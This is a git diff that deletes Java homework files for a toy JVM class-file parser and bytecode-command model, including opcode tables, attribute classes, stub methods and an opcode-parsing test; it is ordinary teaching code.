-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
-   
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/test/EmployeeV1.java b/group24/Homework/7-SevenWeek/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/util/Util.java b/group24/Homework/7-SevenWeek/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/attr/AttributeInfo.java b/group24/Homework/8-EighthWeek/attr/AttributeInfo.java
deleted file mode 100644
index 88f60c77f6..0000000000
--- a/group24/Homework/8-EighthWeek/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group24/Homework/8-EighthWeek/attr/CodeAttr.java b/group24/Homework/8-EighthWeek/attr/CodeAttr.java
deleted file mode 100644
index c4c0c4c6c5..0000000000
--- a/group24/Homework/8-EighthWeek/attr/CodeAttr.java
+++ /dev/null
@@ -1,70 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.CommandParser;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	private ByteCodeCommand[] cmds ;
-	public ByteCodeCommand[] getCmds() {		
-		return cmds;
-	}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-	
-	
-	
-	
-}
diff --git a/group24/Homework/8-EighthWeek/attr/LineNumberTable.java b/group24/Homework/8-EighthWeek/attr/LineNumberTable.java
deleted file mode 100644
index a31a1ff4d0..0000000000
--- a/group24/Homework/8-EighthWeek/attr/LineNumberTable.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Line Number Table:\n");
-		for(LineNumberItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("lineNum:"+item.getLineNum()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-		
-	}
-	
-	
-
-}
diff --git a/group24/Homework/8-EighthWeek/attr/LocalVariableItem.java b/group24/Homework/8-EighthWeek/attr/LocalVariableItem.java
deleted file mode 100644
index 962c3b8bc4..0000000000
--- a/group24/Homework/8-EighthWeek/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/attr/LocalVariableTable.java b/group24/Homework/8-EighthWeek/attr/LocalVariableTable.java
deleted file mode 100644
index 14db5dca46..0000000000
--- a/group24/Homework/8-EighthWeek/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/attr/StackMapTable.java b/group24/Homework/8-EighthWeek/attr/StackMapTable.java
deleted file mode 100644
index 18f2ad0360..0000000000
--- a/group24/Homework/8-EighthWeek/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/clz/AccessFlag.java b/group24/Homework/8-EighthWeek/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group24/Homework/8-EighthWeek/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group24/Homework/8-EighthWeek/clz/ClassFile.java b/group24/Homework/8-EighthWeek/clz/ClassFile.java
deleted file mode 100644
index 2a8dfb6123..0000000000
--- a/group24/Homework/8-EighthWeek/clz/ClassFile.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	public String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	public String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-	
-	public Method getMethod(String methodName, String paramAndReturnType){
-		
-		
-		return null;
-	}
-	public Method getMainMethod(){
-		
-		return null;
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/clz/ClassIndex.java b/group24/Homework/8-EighthWeek/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group24/Homework/8-EighthWeek/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group24/Homework/8-EighthWeek/cmd/BiPushCmd.java b/group24/Homework/8-EighthWeek/cmd/BiPushCmd.java
deleted file mode 100644
index 1f60641d2d..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
-	
-	
-
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/ByteCodeCommand.java b/group24/Homework/8-EighthWeek/cmd/ByteCodeCommand.java
deleted file mode 100644
index e48d4e38f7..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,130 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	public abstract void execute(StackFrame frame,ExecutionResult result);
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/CommandParser.java b/group24/Homework/8-EighthWeek/cmd/CommandParser.java
deleted file mode 100644
index 2bb36340f5..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/CommandParser.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-		
-		return null;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/GetFieldCmd.java b/group24/Homework/8-EighthWeek/cmd/GetFieldCmd.java
deleted file mode 100644
index c771d535f7..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
-
-	
-	
-
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/GetStaticFieldCmd.java b/group24/Homework/8-EighthWeek/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e6876c36bb..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
-
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/InvokeSpecialCmd.java b/group24/Homework/8-EighthWeek/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index 8d60e72341..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
-
-	
-
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/InvokeVirtualCmd.java b/group24/Homework/8-EighthWeek/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index a1f2d1a1c6..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-	}
-
-	
-	
-
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/LdcCmd.java b/group24/Homework/8-EighthWeek/cmd/LdcCmd.java
deleted file mode 100644
index 1669aa3900..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/LdcCmd.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
-	
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/NewObjectCmd.java b/group24/Homework/8-EighthWeek/cmd/NewObjectCmd.java
deleted file mode 100644
index caa2609928..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
-
-	
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/NoOperandCmd.java b/group24/Homework/8-EighthWeek/cmd/NoOperandCmd.java
deleted file mode 100644
index c3cda9b52e..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.engine.ExecutionResult;
-import com.coderising.jvm.engine.StackFrame;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
-
-}
diff --git a/group24/Homework/8-EighthWeek/cmd/OneOperandCmd.java b/group24/Homework/8-EighthWeek/cmd/OneOperandCmd.java
deleted file mode 100644
index 963d064257..0000000000
--- a/group24/Homework/8-EighthWeek/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
